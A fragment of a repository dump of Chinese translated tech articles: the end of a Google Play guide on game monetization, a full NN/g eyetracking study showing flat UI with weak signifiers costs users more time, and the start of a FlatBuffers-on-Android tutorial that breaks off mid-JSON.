天。这个比例越高，你的游戏长期粘性就越强，进而玩家的生命周期价值也就越大。因此，当设计游戏的时候，以创造好玩有吸引力的体验为目标来取悦你最忠诚的玩家。\n\n也许这里最大的挑战是提前规划。这意味着当设计和构建游戏的时候，除了启动之外，你还需要规划如何放出新功能和挑战以及如何实施。有着新内容持续发布计划的游戏通常更容易获得更好的长期用户留存率。\n\n同时, **使得** **内容对于那些在游戏里会玩到很高等级和花费很长时间的玩家足够丰富有趣**。这对于确保你不会流失最活跃的玩家或因为缺少内容而阻碍他们的游戏过程很重要：总是给玩家持续游玩的理由。记住，越多花在游戏里的时间，会产生更高参与度以及最终产生更高的生命周期价值。\n\n![](https://cdn-images-1.medium.com/max/800/0*Y5iRJYZAkpZSi08R.)\n\n**3. 通过有针对性的优惠提高付费玩家转化率**\n\n玩家的首次付费是很重要的，因为**流失比例在第一次购买之后迅速降低**。不管玩家首次消费多少，结果都是相似的，还有很有趣的一点是：过去的购买行为是未来购买行为的最佳预测指标。你可以在 [Play Console.](https://developer.android.com/distribute/users/user-acquisition.html) 找到首次和重复购买者的比例。\n\n使用 A/B 测试来 **发现利益最大化的定价**。对于每个用户来说，对于给定商品的支付意愿是不同的，支付价格和数量也将会因为商品的不同而有所改变，因此请有策略地管理降价。\n\n例如， [Spellstone](https://play.google.com/store/apps/details?id=com.kongregate.mobile.spellstone.google&hl=en_GB) by Kongregate 给用户提供了 ShardBot 一个连续 30 天获得的游戏附加货币（ Shard ）的计划。做为这个商品促销的一部分， Kongregate 测试了两种 ShardBot 套餐：一种 4 美金的 ShardBot，用户每天可以获得 5 个 shard ；一种 8 美金的 ShardBot，用户每天可以获得 10 个 shard 。结果显示，在两种套餐都获得差不多的留存比例的同时，玩家**更加偏好更高定价的套餐**。\n\n![](https://cdn-images-1.medium.com/max/800/0*SwSWzbGwZRWEiJYx.)\n\n[说明：玩家偏爱产生更高收入的高价套餐]\n\n![](https://cdn-images-1.medium.com/max/800/0*PA2hSvOxJl7OB03z.)\n\n[说明：ShardBot 和 Super ShardBot 的留存比例非常相似]\n\n这些结果显示玩家行为不总是可预测的。开发者可能预测更低价套餐会更受欢迎，但是购买更高价格套餐的玩家更容易留存下来。所以测试一直是了解玩家支付意愿、发现收益最大化价格点的最好的方法。\n\n![](https://cdn-images-1.medium.com/max/800/0*xNOcOATy5U2zEnFx.)\n\n**4. 无论投入使用 _什么_  变现方法，请把 _为什么，什么时候_ 以及 _怎么做_ 纳入考虑范围：**\n\n**_为什么：_ 『购买者意图』很重要并且玩家购买是因为他们 _想买_ 而不是 _必须买_ 。因此请让每一件付费物品都被设计得能够提升玩家的游戏体验。** 这也是确保玩家不会因为『必须支付』选项而被阻碍游戏进程的关键。取而代之的是，确保在免费体验上给他们一些附加的东西，比如专属等级，装备酷炫的能力提升或者一些对于玩家有价值和兴奋点的东西。快乐的用户意味着他们会在你的游戏里花费更多的时间，这也意味着更高的收入。通过在新手教程中赠送免费商品或者货币来培养用户的购买习惯也很重要，这会**让用户及早体验到 IAP （应用内支付）带来的好处**。\n\n**_什么时候：_ 在用户最需要的时候提示购买**。如果一个 IAP 能使玩家在超时后继续当前游戏，你应该在计时停止时告诉用户。如果另一个 IAP 提供了高级装备，应该在用户给人物换装的时候提示他们。这些购买邀请应该与当前情况相关，内容应该满足玩家在游戏内的当前状态和需求。\n\n尤其是，新手套餐或者首充促销需要精心确定时间。在展示优惠之前，玩家需要充分理解所有物品的价值和重要性。如果展示得太早了，玩家不会非常迫切地购买。如果展示太晚，套餐报价将不再那么吸引人。**新手套餐应该根据游戏的实际情况，在用户安装后的 3 到 5 次会话之内显示**。另外，限制只能在 3 到 5 天内购买会鼓励用户做出购买决定。\n\n在 [BattleHand](https://play.google.com/store/apps/details?id=com.kongregate.mobile.battlehand.google&hl=en&e=-EnableAppDetailsPageRedesign) 的例子中，新手套餐在第四次用户打开游戏时展示的，并且仅在 36 小时内能购买。套餐中包括这些在游戏各个层面帮助玩家的物品：\n\n* 在战斗中可立即生效的强力卡片。\n* 用于升级卡组的高度稀有升级材料。\n* 一笔丰厚的软性货币，可用于游戏的任何地方。\n* 一笔丰厚的硬性货币，可用于玩家购买增值商店物品。\n* 英雄的珍贵升级材料。\n\n![](https://cdn-images-1.medium.com/max/800/0*8zXCgdJ43IZOEbf7.)\n\n[Battle Hands 中提供的新手套餐]\n\n由于促销力度很大，超过 50% 的玩家都选择购买新手包而不是购买普通宝石：\n\n![](https://cdn-images-1.medium.com/max/800/0*F6-8a6lioA7K_B2W.)\n\n[特殊优惠的新手包和普通报价在新用户转化上的对比]\n\n**_怎么做：_ 有许多方法可以在你的游戏里添加增值内容，比如能力提升、人物、装备、地图、提示、章节和其他。** 以下三个变现设计影响力最大：\n\n**IAP 商店优化** — 在游戏流中显示 IAP （应用内支付）内容可以很好地驱动销售。不要小看你的游戏内商店。习惯于购买的玩家会经常查看可购买的物品，希望找到可以提升他们游戏性的内容。\n\n![](https://cdn-images-1.medium.com/max/800/0*O8M0nCPolalT0YCW.)\n\n因此，保持商店内容始终是最新的且与游戏紧密相关是很重要的，但是也要让这些内容精准符合玩家的游玩和购买习惯。可以使用这些方法：\n\n![](https://cdn-images-1.medium.com/max/800/0*_QPp5_oSUwTMwDHB.)\n\n* 隐藏高价物品，直到用户完成首充。社会心理学家把这个叫做[登门槛技术](https://en.wikipedia.org/wiki/Foot-in-the-door_technique)。\n* 以固定的时间间隔和玩家在游戏内的进程增加新的 IAP 物品。\n* 当提供套餐的时候，确保你着重显示了购买套餐的『福利』。\n* 当你了解了玩家的购买习惯，在商店顶部显示与他们最近购买的物品相似的商品。\n\n**开箱** — 有许多方法来设计、展示、平衡开箱，但是其中的关键是随机奖励。这使得你可以销售一些玩家想要的超强大物品，同时也不用收取超高价格。\n\n![](https://cdn-images-1.medium.com/max/800/0*QM5Lh_Yq9vFljyVn.)\n\n[Raid Brigade](https://play.google.com/store/apps/details?id=com.kongregate.mobile.raidbrigade.google&hl=en_GB) 的随机奖励是箱子。\n\n**LiveOps** — 一直提供限时优惠创造了一种让玩家无法抗拒的机会，在游戏里参与和投资更多。比如， [Adventure Capitalist](https://play.google.com/store/apps/details?id=com.kongregate.mobile.adventurecapitalist.google&hl=en_GB) 定期放出限量、主题、限时事件让每个人都可以尝试固定内容，同时也提供定制化发展路线、成就以及 IAP 优惠。\n\n![](https://cdn-images-1.medium.com/max/800/1*EsNIihb-4KgbVA-6vb1iFg.png)\n\n[ Adventure Capitalist 中的一个限时优惠活动]\n\n在这次活动期间，用户的参与度与游戏收入得到了提升，同时也没有对非活动期间造成影响。\n\n![](https://cdn-images-1.medium.com/max/800/1*go7Rc9Ex5f0O7POubTM4JA.png)\n\n[峰值显示了限时活动对于参与度与收入的影响]\n\n![](https://cdn-images-1.medium.com/max/800/0*KRW6WPnmCiQpGj_1.)\n\n**5. 考虑本地价格和价格模型**\n\n人与人之间消费意愿有差异，**不同市场的购买力也同样有差异**。\n\n* **测试每个主要市场行之有效的价格点** 根据购买力的大小不同进行调整。你也许发现降低价格事实上会增加你的总收入。当[ Divmob 介绍在许多市场中的低于一美元定价策略](https://android-developers.googleblog.com/2016/06/android-developer-story-vietnamese.html)，他们发现付费用户增加了三倍。但是再次强调，不要仅仅是想着打折，要找到最大总收入的价格点。\n* **考虑有吸引力的价格，但是记住它不会在哪都适用。**比如，在美国价格总是以 .99 结尾，但是在日本和韩国就不是这么回事，那里用整数结尾。定价依照当地玩家的惯用标志，会显示你关心他们并用心为他们设计游戏。Play Console 针对每种货币，现在会自动为你进行[本地货币转换](https://support.google.com/googleplay/android-developer/answer/6334373?hl=en&ref_topic=6075663)。\n\n为了增加你的移动游戏即服务变现能力，你可以做的最重要的事情是创造持久的娱乐体验。参与度是游戏能持续发展和长期变现的第一步，这已无需我更加强调。你也需要确保任何付费物品都能增进玩家的游戏体验，因为如果他们的付出没有获得更大的愉悦，他们会失去兴趣。\n\n每天你都该问自己，我如何让自己的游戏更好？不断改进迭代是很重要的，希望通过遵循这篇博文里的建议和提示，你会有一些可以操作的新点子。请在评论里分享你的创新和成果，我很愿意听到一些反馈。\n\n尤其感谢 [Kongregate](http://developers.kongregate.com/)的移动产品总监 [Tammy Levy](https://medium.com/@talech) 在提炼建议和提供优秀案例方面的帮助。\n\n* * *\n\n#### 你怎么想？\n\n对于增加游戏收入，你还有什么问题和想法吗？在下面评论区继续讨论或者通过标签 #AskPlayDev 通知我们，我们会在 [@GooglePlayDev](http://twitter.com/googleplaydev) （我们会定期分享在上面就如何在Google Play成功的话题分享新闻和小贴士）上回复。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/flat-ui-less-attention-cause-uncertainty.md",
    "content": "\n> * 原文地址：[Flat UI Elements Attract Less Attention and Cause Uncertainty](https://www.nngroup.com/articles/flat-ui-less-attention-cause-uncertainty/)\n> * 原文作者：[KATE MEYER](https://www.nngroup.com/articles/author/kate-meyer/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/flat-ui-less-attention-cause-uncertainty.md](https://github.com/xitu/gold-miner/blob/master/TODO/flat-ui-less-attention-cause-uncertainty.md)\n> * 译者：[Changkun Ou](https://github.com/changkun)\n> * 校对者：[lampui](https://github.com/lampui)、[thisisandy](https://github.com/thisisandy)\n\n# 扁平化的 UI 元素既朴实又玄乎\n\n> **摘要**：扁平化界面通常伴随着**弱指示符**（weak signifier）。通过在眼球追踪试验中比较不同类别的点击提示发现，具有弱指示符的 UI 元素比起具有**强指示符**（strong signifier）的 UI 元素来说，需要用户耗费更多精力。\n\n数字界面中[扁平化设计](https://www.nngroup.com/articles/flat-design/)的流行伴随着与之相关的[指示符（signifier）](http://jnd.org/dn.mss/signifiers_not_affordances.html)的缺失。许多现代 UI 已经被用户依赖的那些用于理解什么是可点击的明显提示所破坏。\n\n我们利用眼球追踪实验来记录并可视化用户的眼睛在界面上的移动行为，研究了**强点击性指示符**（strong clickability signifier）（传统的提示诸如下划线、蓝色字眼或臃肿的 3D 按钮）、**弱指示符**（weak signifier）及**零指示符**（absent signifier）对用户处理和理解网页的影响。\n\n## 研究描述\n\n### 网页作为刺激\n\n影响用户与界面交互的因素有很多。为了直接研究交互元素视觉处理中强、弱的和零指示符之间的区别，我们需要去除全部的混淆变量。\n\n我们从实时网站中选取了九个 Web 页面，并对它们进行了修改，创建了两个几乎完全相同的页面，它们的布局、内容和视觉风格完全一样。这两种版本的不同之处在于交互元素（按钮、链接、标签、滑动条）的强、弱和零指示符。\n\n在某些情况下，这意味着要使用一个已经是扁平化设计的页面，对其添加阴影、渐变及增加文本的深度，从而提升指示符点击性的强度。在其他情况下，我们使用的页面已经有了传统意义上的强指示符，并为其创建了一个极致扁平的版本。我们谨慎地认为，我们所提供的修改是合理且现实的。\n\n![](https://media.nngroup.com/media/editor/2017/08/28/cos-cow-blank-1.png)\n\n酒店房间的某个具体页面的两个修改版本：具有强指示符的版本（左）包含了具有轻微 3D 样式按钮，而淡紫色的颜色只在交互元素上使用；而具有弱指示符的版本（右）则是扁平化的按钮。\n\n我们选择的界面研究对象在大多数情况下都是相当不错的设计，代表了网络上的诸多优秀网站。同时，我们打算隔离指示符丰富和指示符匮乏的界面之间的差异，而不是去评估这些站点的设计。\n\n为此，我们选择了来自六个不同领域的九个网站：\n\n- 电子商务（书店、太阳镜零售店、高级珠宝店）\n- 非盈利\n- 宾馆\n- 旅行（汽车租赁、航班搜索引擎）\n- 科技\n- 金融\n\n对于每一个刺激组，我们编写了一个简短的任务，用以将用户的注意力引导到页面上的一个特定的交互元素上。例如，对于酒店网站，任务是：「你会看到酒店网站上的某一页。预订这家酒店的房间。当你找到你要点击的地方时，请告诉我们。」\n\n\n所有十八个页面的设计和所有九个用户任务的措辞均可以在[这里](http://www.nngroup.com/articles/heatmap-visualizations-signifiers/)查看。\n\n### 方法\n\n我们使用了[眼球追踪](https://www.nngroup.com/reports/how-to-conduct-eyetracking-studies/)设备和一台桌面电脑进行了一次定量实验。我们招募了 71 名普通的网络用户来参与这个实验。每个参与者被展示了九不同网站的两个版本中的一个，并给出了相应的任务。当参与者看到他们想要点击完成任务的目标 UI 元素时，他们说「我找到了」并停止当前任务。\n\n我们记录了参与者在执行这些任务时的眼球运动。我们测量了每个页面上的凝视次数（number of fixations）以及任务时间（当目光注视并停留在页面上感兴趣的地方时，记为一次凝视）。\n\n这两种方法都反映了用户耗费的精力：完成任务的时间花费越多，处理的工作量就越高，任务也就越困难。此外，我们还通过叠加参与者在页面上查看最多的区域来创建可视化的热图。\n\n这个研究采用被试间设计（between-subjects design）（译注：又称组间设计，between-groups design），每个参与者只能看到每个页面的一个版本。我们随机分配到每个页面的版本，以及参与者看到页面的顺序（请参考我们的课程了解更多关于[用户体验度量](https://www.nngroup.com/courses/measuring-ux/)的定量研究设计）。\n\n所有的参与者都是在同一刺激下开始的实践任务，从而确保他们在开始真正的任务之前能够理解这些步骤。特别是在像这样的定量研究中，使用练习来确保参与者理解任务步骤是一个好的想法（在开始真正的研究之前，最好进行[试点测试（pilot testing）](https://www.nngroup.com/articles/pilot-testing/)，进而消除任何关于方法论的问题）。\n\n这个试验不是一项可用性研究。我们的目标是了解用户如何处理单个页面的设计以及他们如何更加容易地找到目标元素，而不是识别设计中的可用性问题（网站的可用性研究很少涉及到网站上的单一页面；大多数情况下，参与者会被要求浏览整个网站来完成一个目标）。\n\n## 结果\n\n### 页面上的凝视次数及时间\n\n当我们比较了平均凝视次数和人们在每一页上完成目标任务花费的平均时间，我们发现：\n\n- 在带有弱指示符的版本上花费的**平均时间**比带有强指示符的版本要高得多。参与者平均**多花 22% 的时间**（例如：完成任务的性能更差，花费的时间更长）来查看带有弱指示符的页面。\n\n- 在具有弱指示符的版本中，**平均凝视次数**也要明显高于带有强指示符的版本。平均而言，人们在页面上的凝视次数**增加了 25%**。\n\n（以网站作为随机因子实施配对 t 检验，两个研究项结果显著，p < 0.05。）\n\n这意味着，当查看带有弱指示符的设计时，**用户花费更多的时间查看页面，他们必须查看页面上更多的元素。**由于这个实验使用了有针对性的可检索性（findability）任务，**花更多的时间和精力在页面目标周围进行浏览是不好的。**这些发现并不意味着用户更「专注于」页面的交互。相反，它们暗示了参与者其实是在努力寻找他们想要的元素，或者表明了当他们第一次看到目标时的不确定。\n\n22% 任务时间的增加，对于使用弱指示符的设计来说可能看起来很糟糕。但请记住，我们的度量标准反映了在寻找点击目标时所花费的时间。我们测量的任务非常具体，只代表了真实 Web 任务的一小部分。在常规的 Web 使用中，人们花费更多的时间在其他任务方面，比如阅读页面上的信息。当你增加其他方面的时候，对于一个完整的任务花费时间的增加（比如买一双新鞋）的通常会低于我们所测量的 22%。\n\n另一方面，在采用弱指示符的设计中增加的点击不确定性，很可能有时会导致人们偶然地点击错误的东西 —— 这是我们在本研究中没有进行测量的。从错误的点击中回过神来可以很容易地消耗更多的时间，尤其是因为用户并不能总是马上意识到他们的错误。除了浪费的时间之外，情绪影响所增加的点击不确定性和减少的用户权力的是一个典型的[用户体验设计损害品牌认知的例子](https://www.nngroup.com/articles/brand-intention-interpretation/)。\n\n### 热图\n\n[热图（heatmap）](http://www.nngroup.com/articles/heatmap-visualizations-signifiers)是一种量化的可视化技术，它可以累计在刺激（也就是 UI）上的眼睛凝视数和持续时间。它们可以根据参与者的凝视数据创建出来，只要它们都属于同样的任务并接受相同的刺激。\n\n基于所有参与者数据的热图传达了与任务相关的页面区域的重要信息（前提是参与者的数量足够多）。在我们的颜色编码中，红色区域是接收次数最多和时间最长的凝视区域。橙色、黄色和紫色区域受到的关注较少，没有覆盖颜色的区域没有被测试参与者看到。\n\n当比较每组页面对的两种版本（强指示符 vs. 弱指示符）时，我们发现页面变成两组：具有几乎相同的用户凝视模式的两个版本的页面、具有不同用户凝视模式的页面（如热图所示）。\n\n### 具有不同用户凝视模式的页面对\n\n在我们测试的页面中，**九对页面对中的六对有不同的用户凝视模式。**除了指示符的强度之外，我们在给定的一对页面中消除了页面设计中所有的其他变化，因此我们可以得出结论，**指示符改变了用户在任务中处理页面的方式。**\n\n当比较这六对页面时，一个主要的差异出现了。具备弱指示符版本的页面导致了整个页面的凝视位置分布更加广泛：**人们不得不查看更多的内容。**这一结果进一步印证了我们的发现：弱指示符需要更多的凝视次数和更多的凝视时间，而强指示符则不是。\n\n我们从来没有看过这种相反的模式：弱指示符版本比强指示符具有更广泛的凝视分布区域。\n\n![](https://media.nngroup.com/media/editor/2017/08/28/prs-prw-heat.png)\n\n> Priceline 的搜索结果：强指示符版（左）显示了凝视在目标元素之上（出发时间的滑动条）。弱指示符版（右）显示了一个更大的「热」区域，这表明在页面中，凝视的分布更加均匀。\n\n这一差异表明，参与者必须**思考具有弱指示符的版本中存在的更多潜在的交互元素**。因为目标元素（链接、标签、按钮、滑动条）缺乏强大的、传统意义上的标志，它们**没有相同的能力来吸引参与者的注意力或信心**。在大部分情况下，参与者都盯着目标元素，然后转移到页面上的其他元素上 —— 大概是因为他们没有马上意识到这是任务的解决方案。\n\n![](https://media.nngroup.com/media/editor/2017/08/28/hzs-hzw-blank.png)\n\n> Hertz 主页：关闭目标标签（查看、修改、取消预订）的强（左）和弱（右）指示符版本的局部放大图\n\n![](https://media.nngroup.com/media/editor/2017/08/28/hzs-25ppts-radius142-max17.png)\n\n> Hertz 主页的强指示符版本：参与者被要求取消他们在这一页上的租车预订。热图显示了围绕目标标签的大多数凝视区域（如红色区域所示）。\n\n![](https://media.nngroup.com/media/editor/2017/08/28/hzw-29ppts-radius142-max-20.png)\n\n> Hertz 主页的弱指示符版本：除了关注目标标签外，这个热图显示了很多集中在页脚链接、促销项目以及在目标标签附近的预订表单上的其他项目。对页面页脚的关注增加尤其令人不安，因为这个信号表明用户已经变得非常绝望了。\n\n在这六个网站中，有一个页面对的图片在热图上出现了天差地别。最初用于产生刺激的界面布局是一个精致珠宝网站的「之字型（zig-zag）」布局。页面布局有三个部分，每个部分都有标题、短段文字、产品图片和文字链接。\n\n为了该页面创建具有强指示符的版本，文本链接做了传统的链接样式的处理：蓝色和下划线的文本。为了创建弱指示符版本，我们从一种常用的极致扁平化设计策略中获得灵感，并使文本链接与静态文本完全相同。文本链接（段落下方）的放置位置在两个刺激中都是相同的。\n\n![](https://media.nngroup.com/media/editor/2017/08/28/bes-blank.png)\n\n> Brilliant Earth 的强指示符版本\n\n参与者被要求在网站上寻找指定的珠宝首饰。预定的目标是在页面底部的一个「Shop Pearl」链接。\n\n![](https://media.nngroup.com/media/editor/2017/08/28/bes-bew-blank.png)\n\n> Brilliant Earth：点击强指示符（左）和弱指示符（右）版本目标链接（图中的 Shop Pearl）的局部放大图\n\n![](https://media.nngroup.com/media/editor/2017/08/28/bes-bew-heat.png)\n\n> Brilliant Earth：强指示符版（左）的热图显示，参与者将注意力集中在感兴趣的区域上，并将注意力集中在目标链接上。相比之下，弱指示符版（右）的热图显示，尽管大多数的注意力都集中在珍珠珠宝部分，但它们主要集中在标题上，而不是目标链接上。\n\n弱指示符版本显示红色区域主要位于顶部的主要导航区，页面上的「3 Year: Pearl」标题也是如此。相比之下，在强指示符版本中，目标链接则获得了更多的凝视数。当我们检查单个参与者数据时，我们发现许多用户（ 24 个参与者中的 9 个）在查看弱指示符版本时候，看到在子标题就停止了，并且从未查看过文本链接。他们相信，他们可以点击那个子标题去接触珍珠首饰，而没有继续下去看这个链接。\n\n在强指示符版中，86% 的参与者（ 29 名中有 25 名）首先关注标题，然后转移到「Shop Pearl」目标链接上。在弱指示符版中，只有 50%（ 24 名中有 12 名）遵循这种模式（这种差异在统计学上是显著的；p < 0.005）。类似静态文本那样的链接风格并没有将用户的视线从子标题往下吸引，相反传统的链接风格则能够做到。\n\n### 具有几乎相同用户凝视模式的页面对\n\n九个网站中有三个在强指示符和指示符版本之间没有区别。为什么这三页对几乎是一样的，而其他的六对却有大量的差异呢?\n\n下面这些答案为我们提供了一些有趣的信息，这些信息可以告诉我们**在不破坏交互的情况下，扁平化 UI 什么时候可以奏效**。\n\n众多刺激对中的一种是将目标元素的内嵌文本链接作为刺激：淡紫色、无下划线的链接 vs. 传统的蓝色、下划线的链接。在这个对，弱指示符刺激的热图只显示了包含目标链接的一段稍微更宽的凝视分布。\n\n![](https://media.nngroup.com/media/editor/2017/08/28/abs-abw-blank.png)\n\n> Ally Bank 的刺激对：强指示符版本（左）使用下划线、蓝色文本链接，而弱指示符版本（右）使用紫色文本链接。\n\n这表明，与普通文本相比，低对比度内嵌链接表明这可能是一个轻微的弱指示符，但不够明显。然而，在 Brilliant Earth 的例子中，如上图所示缺乏对比色的链接有很大的影响。我们可以推测，存在一个对比度的序列：链接和文本之间的颜色对比度越强，用户识别它们的几率就越高。如果我们在 Ally Bank 的弱指示符版本中使用了浅灰色的高光颜色，我们可能会期望看到在凝视模式上有更大的不同。**只要在行内文本链接[以一种对比色显示](https://www.nngroup.com/articles/clickable-elements/)，用户就能识别他们的目的**，即使没有下划线。\n\n其他没有明显的热图差异的两种刺激对，在弱指示符和强指示符的版本之间有一些共同的特征，与其他刺激相比，它们：\n\n- **信息密度低。**这些页面包含的内容相对较少，空白的地方也很大，这意味着即使是那些不太显眼的东西也会脱颖而出，因为它们并没有与其他页面元素竞争。\n- **布局传统。**元素（按钮、链接、导航）位于标准位置，用户通常也期望它们在那个位置。\n- **目标突出、且对比度高。**目标元素与周围的元素形成了鲜明的对比，并且有足够的空间将它们与这些元素分开，使它们更加引人注目。\n\n## 弱指示符增加了交互成本\n\n我们希望我们的用户拥有简单、无缝和愉快的体验。用户需要能够查看页面，并立即了解他们的选择。他们需要能够一眼看到他们想要的东西就马上知道：「没错，就它了。」\n\n但问题本身并不在于用户永远不会注意到那个带有弱指示符的 UI 元素。真正的问题在于，即使当他们看到弱指示符时，他们也相信这不是他们想要的，所以他们会一直在看页面的其他部分。\n\n具有**弱点击性的指示符**的设计其实是在**浪费用户的时间**：根据捕获的热图显示（平均凝视数、平均任务时间），人们在页面上查看更多的 UI 元素需要花费更多的时间。这些发现都表明，在使用弱指示符时，[用户所能感受到的网站给予他们的权力和判断力更为匮乏](https://www.nngroup.com/articles/flat-design-long-exposure/)。他们经历的是其实是「点击的未知性」。\n\n## 扁平化设计何时奏效\n\n这些发现另一方面也证实了扁平化设计在某些条件下可以比其他的更好。正如我们在这个实验中所看到的，当网站的信息密度低、布局较为传统或一致，并将重要交互元素放置在周围元素中时，弱指示符的潜在负面影响就会减少。\n\n理想情况下，为了避免点击的未知性，三个标准都应该满足，而不仅仅是一两个。一个拥有大量潜在内容的站点，或者是全新的页面布局或模式，在采用极致扁平设计时应该小心谨慎。这些特性与我们在不破坏交互的情况下采用扁平化 UI 的[建议](https://www.nngroup.com/articles/flat-design-best-practices/)相呼应。\n\n注意，这些特征同样也是非常好的**基本 UX 设计的最佳实践：视觉简单性、外部一致性、清晰的视觉层次结构及对比**。一般来说，如果你有一个经验丰富的 UX 团队，他们关心用户研究，你会比其他的产品团队做得更好。如果你的设计已经很强大，那么扁平化的设计所带来的任何潜在的弱点都将被削弱。如果你正在进行常规的用户研究，那么在实现一个扁平 UI 时所犯的任何错误都将被识别和纠正。\n\n## 研究的局限性\n\n为了从这个试验中获得可比较、可解释的结果，我们必须让用户在单个页面上做非常集中而且简短的任务。但在实际生活中，用户并不会这样做。他们访问你的网站时，不知道这个网站是什么，也不知道这个网站是干什么的。他们使用页面的导航访问其他不同的页面，并不知道他们能否会找到他们想要的东西，他们只是在探索这里有些什么选择。\n\n记住，[可检索性和可发现性（discoverability）](https://www.nngroup.com/articles/navigation-ia-tests/)是有区别的。在用户关心寻找特定内容的情况下，强指示符是很有帮助的。在你关心用户能否发现一个他们不知道的功能时，他们起到了决定性的作用。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/flatbuffers-in-android-introdution.md",
    "content": "> * 原文链接 : [FlatBuffers in Android](http://frogermcs.github.io/flatbuffers-in-android-introdution/)\n* 原文作者 : [froger_mcs dev blog](http://frogermcs.github.io/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [lihb (lhb)](https://github.com/lihb)\n* 校对者: [yinshudi](https://github.com/yinshudi) [404neko](https://github.com/404neko)\n\n# Android 上的数据格式 FlatBuffers 介绍\n\nJSON 格式 - 一个基本上人人知道的、轻量级的、并被现代服务器所广泛使用的数据格式。相对过时的、讨厌的 XML 数据格式来说，它量级轻、易于人们阅读、对开发人员也更为友好。 JSON 是一种独立于语言存在的数据格式，但是它解析数据并将之转换成如 Java 对象时，会消耗我们的时间和内存资源。几天前，Facebook 宣称自己的 Android app 在数据处理的性能方面有了极大的提升。在几乎整个 app 中，他们放弃了 JSON 而用 FlatBuffers 取而代之。请查阅[这篇文章](https://code.facebook.com/posts/872547912839369/improving-facebook-s-performance-on-android-with-flatbuffers/)来获取关于 FlatBuffers 的基础知识以及从 JSON 格式过渡到 FlatBuffers 格式后的结果。\n\n虽然这个结果非常激动人心，但咋一看如何使用不是很明显，Facebook 没有对实现进行过多的说明。这也是我发表这篇文章的原因，我将在文章中说明如何使用 FlatBuffers 来开始我们的工作。\n\n## FlatBuffers 介绍\n\n简而言之, [FlatBuffers](https://github.com/google/flatbuffers) 是一个来自 Google 的跨平台序列化库, 被 Google 开发出来专门用在游戏开发中，并在构建平滑和高响应的 Android UI 中遵循 [16 毫秒规则](https://www.youtube.com/watch?v=CaMTIgxCSqU)，就像 Facebook 向我们展示的那样。\n\n_但是，嘿。。哥们，在你转移所有数据到 FlatBuffers 之前，请慎重考虑你是否真的需要它。因为有时候这点性能的影响是可以忽略的，有时候[数据安全](https://publicobject.com/2014/06/18/im-not-switching-to-flatbuffers/)可比只有几十毫秒区别的计算速度更为重要。_\n\n什么原因使得 FlatBuffers 如此高效？\n\n*   因为有了扁平二进制缓冲区，访问序列化数据甚至层级数据都不要解析。归功于此，我们不需要花费时间去初始化解析器（意味着构建复杂的字段映射）和解析数据。\n\n*   FlatBuffers 数据相比使用自己的缓冲区，不需要分配其他更多的内存。我们不需要像 JSON 那样在解析数据的时候，为整个层级数据分配额外的内存对象。\n\n更具体的原因，请再次查看关于如何迁移到 FlatBuffers 的 [facebook 文章](https://code.facebook.com/posts/872547912839369/improving-facebook-s-performance-on-android-with-flatbuffers/)，或者查阅 [Google 官方文档](http://google.github.io/flatbuffers/)。\n\n## 实现步骤\n\n该文将介绍在 Android app 中使用 FlatBuffers 最简单的方法。\n\n*   在app项目以外的_某个地方_，JSON 数据将被转换成 FlatBuffers 格式的数据（如，API 会返回一个二进制文件或者目录）\n*   数据模型（Java 类）是使用 **flatc**（FlatBuffers 编译器）手动生成的\n*   对 JSON 文件的一些限制条件（不能使用空字段，日期类型将被解析成字符串类型）\n\n不久后，我们可能准备介绍一些更复杂的解决方法。\n\n## FlatBuffers 编译器\n\n首先，我们必须得到 **flatc** - FlatBuffers 编译器，你可以通过源码来构建，源码放在 Google 的 [FlatBuffers 仓库](https://github.com/google/flatbuffers)。我们将源码下载或者克隆到本地。整个构建过程在[构建 FlatBuffers](https://google.github.io/flatbuffers/md__building.html)  文档中有详细描述。如果你是 Mac 用户，你需要做的仅仅是：\n\n1.  进入下载好了的源码目录 `\\{extract directory}\\build\\XcodeFlatBuffers.xcodeproj`\n2.  按下 **Play** 按钮或者`⌘ + R`快捷键运行 **flatc** 结构描述文件（默认会被选中）\n3.  运行完成后，**flatc** 可执行文件将会出现在项目的根目录中\n\n现在，我们可以使用放在其他地方的[结构描述文件编译器](https://google.github.io/flatbuffers/md__compiler.html)来根据指定的结构描述文件（Java，C#，Python，GO 和 C++）生成模型类，或者将 JSON 文件转换成 FlatBuffer 格式的二进制文件。\n\n## 结构描述文件\n\n现在我们准备一份结构描述文件，该文件定义了我们想要序列化/反序列化的数据结构。我们使用该文件和 flatc 工具，去生成 Java 数据模型并将 JSON 格式的文件转换成 FlatBuffer 格式的二进制文件。\n\nJSON 文件的部分代码如下所示：\n\n     {\n      \"repos\": [\n        {\n          \"id\": 27149168,\n          \"name\": \"acai\",\n          \"full_name\": \"google/acai\",\n          \"owner\": {\n            \"login\": \"google\",\n            \"id\": 1342004,\n            ...\n            \"type\": \"Organization\",\n            \"site_admin\": false\n          },\n          \"private\": false,\n          \"html_url\": 